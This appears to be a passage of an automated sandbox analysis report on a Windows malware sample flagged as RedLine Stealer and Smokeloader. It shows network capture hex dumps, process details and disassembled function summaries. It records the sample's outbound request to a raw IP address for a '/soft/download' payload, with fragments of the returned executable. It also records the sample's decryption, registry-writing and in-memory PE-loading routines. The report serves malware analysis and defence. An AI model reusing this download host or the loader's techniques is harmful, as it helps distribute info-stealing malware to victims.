Dec 12, 2024 20:37:02.807229996 CET	1236	IN	Data Raw: 0a 2a 1e 02 7b 52 00 00 04 2a 32 02 7b 63 00 00 04 6f f2 00 00 0a 2a 52 02 03 7d 55 00 00 04 02 7b 63 00 00 04 03 6f 6f 00 00 0a 2a 1e 02 7b 51 00 00 04 2a 22 02 03 7d 51 00 00 04 2a 32 02 7b 63 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 63 00 00 04 03 Data Ascii: {R2{coR}U{coo{Q"}Q2{cow~{coy}]so2{cosN{cop(2{dosN{dop({VR}Vs({WR}Ws(F{cot
Dec 12, 2024 20:37:02.807954073 CET	1236	IN	Data Raw: 02 03 7d 71 00 00 04 2a 1e 02 7b 72 00 00 04 2a 22 02 03 7d 72 00 00 04 2a 1e 02 28 30 01 00 0a 2a 1e 02 7b 73 00 00 04 2a 22 02 03 7d 73 00 00 04 2a 1e 02 7b 74 00 00 04 2a 22 02 03 7d 74 00 00 04 2a 1e 02 7b 75 00 00 04 2a 22 02 03 7d 75 00 00 Data Ascii: }q{r"}r(0{s"}s{t"}t{u"}uN((((z,{v,{vo/((5"}xN{o9o<&{\|f}\|{{\|o2{o?*{o9(
Dec 12, 2024 20:37:02.807988882 CET	1236	IN	Data Raw: 0a 02 02 fe 06 5d 01 00 06 73 89 00 00 0a 28 95 00 00 0a 02 16 28 97 00 00 0a 2a e6 02 72 a8 0f 00 70 7d 9f 00 00 04 02 72 a8 0f 00 70 7d a1 00 00 04 02 72 a8 0f 00 70 7d a2 00 00 04 02 72 a8 0f 00 70 7d a3 00 00 04 02 28 18 01 00 0a 02 28 81 01 Data Ascii: ]s((rp}rp}rp}rp}(({{{"}{"}{(dt%r2poeoftogz,{,{o/(*rp}rp}sm}
Dec 12, 2024 20:37:02.808733940 CET	1236	IN	Data Raw: 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 1e 02 7b cd 00 00 04 2a 76 03 16 30 0b 72 10 16 00 70 73 41 01 00 0a 7a 02 03 7d cd 00 00 04 02 28 da 01 00 06 2a 1e 02 7b ce 00 00 04 2a 76 02 03 7d ce 00 00 04 02 28 db 00 00 0a 2c 07 02 03 7d d1 00 00 Data Ascii: o/(z{v0rpsAz}({v}(,}({:}({:}(({o{ZX/{o{ZX((J{oooJ{oxo2{
Dec 12, 2024 20:37:02.808770895 CET	1236	IN	Data Raw: 7d 03 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 04 01 00 04 2a 3a 02 03 7d 04 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 05 01 00 04 2a 3a 02 03 7d 05 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 06 01 00 04 2a 3a 02 03 7d 06 01 00 04 02 28 6d 02 00 06 2a 1e Data Ascii: }(m{:}(m{:}(m{:}(m{{:}(m{:}(m{:}(m{:}(m{2{o^{{oo:}(m:
Dec 12, 2024 20:37:02.809609890 CET	1236	IN	Data Raw: 02 7b 2b 01 00 04 03 6f 6f 00 00 0a 2a 32 02 7b 2b 01 00 04 6f f2 00 00 0a 2a 7a 03 2c 13 02 7b 2a 01 00 04 2c 0b 02 7b 2a 01 00 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 0a 16 2a 36 02 28 26 00 00 0a 02 28 dd 02 00 06 2a 52 02 28 26 00 00 0a 03 Data Ascii: {+oo2{+oz,{,{o/(z*6(&(R(&o(z,{-,{-o/(2s}-}6{=ob-{=o\rTp(;&z,{<,{<o/(z:{0ot*:{/ot
Dec 12, 2024 20:37:02.809647083 CET	1236	IN	Data Raw: 00 06 28 39 00 00 0a 2a 56 72 52 1d 00 70 72 96 1d 00 70 72 ac 1d 00 70 28 41 03 00 06 2a 56 72 a8 0f 00 70 80 5d 01 00 04 7e d8 01 00 0a 80 5e 01 00 04 2a 3e 02 fe 15 39 00 00 02 02 03 7d 5f 01 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 Data Ascii: (9VrRprprp(AVrp]~^>9}_(Co(D(E}_(F(E(&>:}d(Co(D}d(F(E(&";><}n{u"}u{v"}v{w"
Dec 12, 2024 20:37:02.809681892 CET	556	IN	Data Raw: 01 00 04 2c 0e 02 7b 99 01 00 04 02 04 6f 23 02 00 0a 2a 04 17 6f 14 04 00 06 2a 8a 02 7b a6 01 00 04 03 6f 28 02 00 0a 2c 12 02 7b a6 01 00 04 03 6f 29 02 00 0a 6f 2c 04 00 06 2a 16 2a 2a 03 75 10 00 00 01 14 fe 03 2a 1e 02 7b aa 01 00 04 2a 22 Data Ascii: ,{o#o{o(,{o)o,**u{"}{J{{(F(uNoKJ(uNoLF(uNoMJ(uNoN{"}{"}{"}
Dec 12, 2024 20:37:02.927432060 CET	1236	IN	Data Raw: 02 03 7d d1 01 00 04 2a 1e 02 7b d2 01 00 04 2a 22 02 03 7d d2 01 00 04 2a 1e 02 7b d3 01 00 04 2a 22 02 03 7d d3 01 00 04 2a 1e 02 7b d4 01 00 04 2a 22 02 03 7d d4 01 00 04 2a 1e 02 7b d5 01 00 04 2a 22 02 03 7d d5 01 00 04 2a 1e 02 7b d6 01 00 Data Ascii: }{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}
Dec 12, 2024 20:37:03.637428999 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:37:04.386991024 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:37:03 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 7260, Parent PID: 2580

General

Target ID:	0
Start time:	14:36:04
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'961'472 bytes
MD5 hash:	B8501B9AD61E6247049C8C36BF6EAF57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2536971239.0000000000D6C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 7964, Parent PID: 7260

General

Target ID:	6
Start time:	14:37:06
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7260 -s 584
Imagebase:	0x9c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 7260, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	57.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	23

Executed Functions

Function 00403D20 Relevance: 56.1, APIs: 25, Strings: 6, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,3031BDFB,74DF0F00,00000000), ref: 00403D8A
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403F19
Sleep.KERNEL32(000003E8), ref: 00403F22
__Init_thread_footer.LIBCMT ref: 004044F7
__Init_thread_footer.LIBCMT ref: 004046BD
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 004048C7
__Init_thread_footer.LIBCMT ref: 00404955
__Init_thread_footer.LIBCMT ref: 00404BBE
CoInitialize.OLE32(00000000), ref: 00404C3F
CoCreateInstance.OLE32(0041F290,00000000,00000001,0041F260,?,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404C5A
__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404CC8

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,3031BDFB), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

CoUninitialize.COMBASE(?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D,?,?,?,?,00000000,0042DA28), ref: 00404D01
CoUninitialize.OLE32(?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404DC4
CoUninitialize.OLE32(?,?,?,?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404E45
__Init_thread_footer.LIBCMT ref: 00404026

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Part of subcall function 004021F0: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
Part of subcall function 004021F0: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
Part of subcall function 004021F0: CloseHandle.KERNEL32(00000000), ref: 0040224E

__Init_thread_footer.LIBCMT ref: 00404202

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

Strings

get, xrefs: 00405E91
viFO, xrefs: 004048DA
]DFE, xrefs: 00404640
SUB=, xrefs: 00405A98
KDOX, xrefs: 004048E4
^OX*, xrefs: 00404B6B

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Init_thread_footer$CriticalSection$CreateFileUninitialize$EnterLeavePathSleepTime$ByteCharCloseConditionDirectoryFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@VariableWakeWideWrite__ehfuncinfo$??2@
String ID: KDOX$SUB=$]DFE$^OX*$get$viFO
API String ID: 995133137-4208347134
Opcode ID: ae1fabbb4d6eeebf8c6b4260bd4f2c4054e2f5a4f249423ed6f5deb5bcb2487e
Instruction ID: 2a7656185698f67e8fe61b04cbca63a222de47e8cf16a67dea48f36782a400ee
Opcode Fuzzy Hash: ae1fabbb4d6eeebf8c6b4260bd4f2c4054e2f5a4f249423ed6f5deb5bcb2487e
Instruction Fuzzy Hash: 7BF2D1B0E042188BDB24DF24CC49B9EBBB1EF45304F5441E9E5097B2D2DB78AA85CF59

Function 00404F50 Relevance: 40.1, APIs: 16, Strings: 6, Instructions: 1645sleepregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,3031BDFB), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
Sleep.KERNEL32(000007D0), ref: 00405735
Sleep.KERNEL32(000007D0), ref: 0040574F
CoUninitialize.OLE32(?,?,0042DB3D,?,?,?,?,?,?,?,?,?,?,00000000,0042DB21), ref: 00405785
CoUninitialize.OLE32(?,?,?,?,?,0042DB3D,?,?,?,?,?,?,?), ref: 004057B1
RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

get, xrefs: 00405E91
SUB=, xrefs: 00405A98
DFEK, xrefs: 0040535C
mixone, xrefs: 00406219
updateSW, xrefs: 0040565B
U%, xrefs: 00406916

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTimeUninitialize$CloseCreateEnterFileLeaveOpenSystemUnothrow_t@std@@@Value__ehfuncinfo$??2@
String ID: DFEK$SUB=$get$mixone$updateSW$U%
API String ID: 606935701-3680244588
Opcode ID: b075363c1adddbfb7942327b38f6eb508677d377e061f84c7c3b362131a9927c
Instruction ID: 0d5b8b6ccd7ac2cce54ba59243f10dcebe2db4c82d63bd9967a8cdfa7b9099a4
Opcode Fuzzy Hash: b075363c1adddbfb7942327b38f6eb508677d377e061f84c7c3b362131a9927c
Instruction Fuzzy Hash: F5D20471D001148BDB14EB24CC597AEBB75AF01308F5481BEE8097B2D2DB78AE85CF99

Function 00402EC0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402EE2
SetLastError.KERNEL32(000000C1), ref: 00402F24

Strings

p.@P.@0.@, xrefs: 004030C5
DOS header size is not valid!, xrefs: 00402F51
alignedImageSize != AlignValueUp!, xrefs: 0040300C
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402F81
Size is not valid!, xrefs: 00402EE8
Section alignment invalid!, xrefs: 00402FA7
ERROR_OUTOFMEMORY!, xrefs: 00403042
DOS header is not valid!, xrefs: 00402F12
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402F93

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!$p.@P.@0.@
API String ID: 1452528299-2075088523
Opcode ID: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction ID: 9256140b0f890bfcd87a01f3051d579660d3e2dc250f0df49545701e60f9fd82
Opcode Fuzzy Hash: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction Fuzzy Hash: CCF1CE71B002059BCB10CFA9D985BAAB7B4BF48305F14417AE909EB3C2D779ED11CB98

Function 004035B0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,3031BDFB), ref: 00403630
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403654
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004036BE
GetLastError.KERNEL32 ref: 004036C8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004036F0
GetLastError.KERNEL32 ref: 004036FA
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040370A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004037CC
CryptDestroyKey.ADVAPI32(?), ref: 0040383E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040360C

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: db902f704c09ebec832d35326984641ba9f54955d7dad40eb968e5da25d6ebff
Instruction ID: 8181a1f98bd0149a833479ac616fd79743055c61a592a1420c0c523c4d9566d8
Opcode Fuzzy Hash: db902f704c09ebec832d35326984641ba9f54955d7dad40eb968e5da25d6ebff
Instruction Fuzzy Hash: 37819171A00218AFEF209F25CC45B9ABBB9FF45300F0081BAF90DA7291DB359E858F55

Function 00402A20 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00402AC8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402ADD
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402AEB
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402B06
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402B25
LocalFree.KERNEL32(00000000), ref: 00402B32
LocalFree.KERNEL32(?), ref: 00402B37

Strings

Error protecting memory page, xrefs: 00402B11
%s: %s, xrefs: 00402B16

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction ID: 0c0000675eadf2e66051917e59d7aa22c0aaa2fc97c5d5fe75df83e4770fcd9e
Opcode Fuzzy Hash: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction Fuzzy Hash: 4B310731B00104AFDB10DF68DD44FAAB768EF48704F0541BEE905AB2D2DB75AE06CB98

Function 00401940 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 004019D5
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 004019F8

Strings

text, xrefs: 00401B5F

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 12487103a02f6f6543793c580328f7db3ec43f189320f50aa386f2a132a7ff6a
Instruction ID: 0125e10c814f2167b0c83c61a86ba883da1fe49b2781431745f5a2561ed14111
Opcode Fuzzy Hash: 12487103a02f6f6543793c580328f7db3ec43f189320f50aa386f2a132a7ff6a
Instruction Fuzzy Hash: FAC15B709002189FDB24DF64CC85BD9B7B5EF49304F1041EAE509B72A1D778AE94CF99

Function 00D6D0EE Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00D6D116
Module32First.KERNEL32(00000000,00000224), ref: 00D6D136

Memory Dump Source

Source File: 00000000.00000002.2536971239.0000000000D6C000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D6C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d6c000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 8ffa587b5d0615e8e679c1874f44a8f2b8b08009b863e688dfbd3128125ccb01
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F1F09635B007106BD7203BF9EC8DB6E76E9AF4A724F140529E642D10C0DBB4EC458A71

Function 00408770 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

mixtwo, xrefs: 004087AC
emp, xrefs: 00408787

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction ID: d670b023532553bde9b5cd74a18030282768016b503e3e09e149c4df20b712b6
Opcode Fuzzy Hash: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction Fuzzy Hash: 15F01CB161430457E7147F65ED1B7173EA4970271CFA006ADD8141F2C2E7FB861A8BE6

Function 00AAE56B Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00AAE567,00000004,?), ref: 00AAE60D

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000AAD000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aad000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 759d959ec179e0f1262956cfd59c712bc27db69a82f04c21da56a0e152242e18
Instruction ID: 29763aa64143bd2660db7b3f3447a2bfb837fc8d2e0124713f9373cbfa48fc05
Opcode Fuzzy Hash: 759d959ec179e0f1262956cfd59c712bc27db69a82f04c21da56a0e152242e18
Instruction Fuzzy Hash: 4301D6B6549115BEE301CE44AA00DFBB77EEAC6330F308916F402C3584D3B16D056630

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

http://, xrefs: 10001567
GET, xrefs: 100016AA

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401800 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 106
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401873
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401899
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018BF

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 00402599

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018E5

Strings

Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401832
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401877
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 0040189D
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 004018C3
http://, xrefs: 00401EC4, 004021A3
text, xrefs: 00401B5F
GET, xrefs: 004020B7

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$text
API String ID: 2146599340-4172842843
Opcode ID: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction ID: d9449a1bc553b4f7263359658e85a8d5597bae1f9675cad689ed873ec2693fe7
Opcode Fuzzy Hash: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
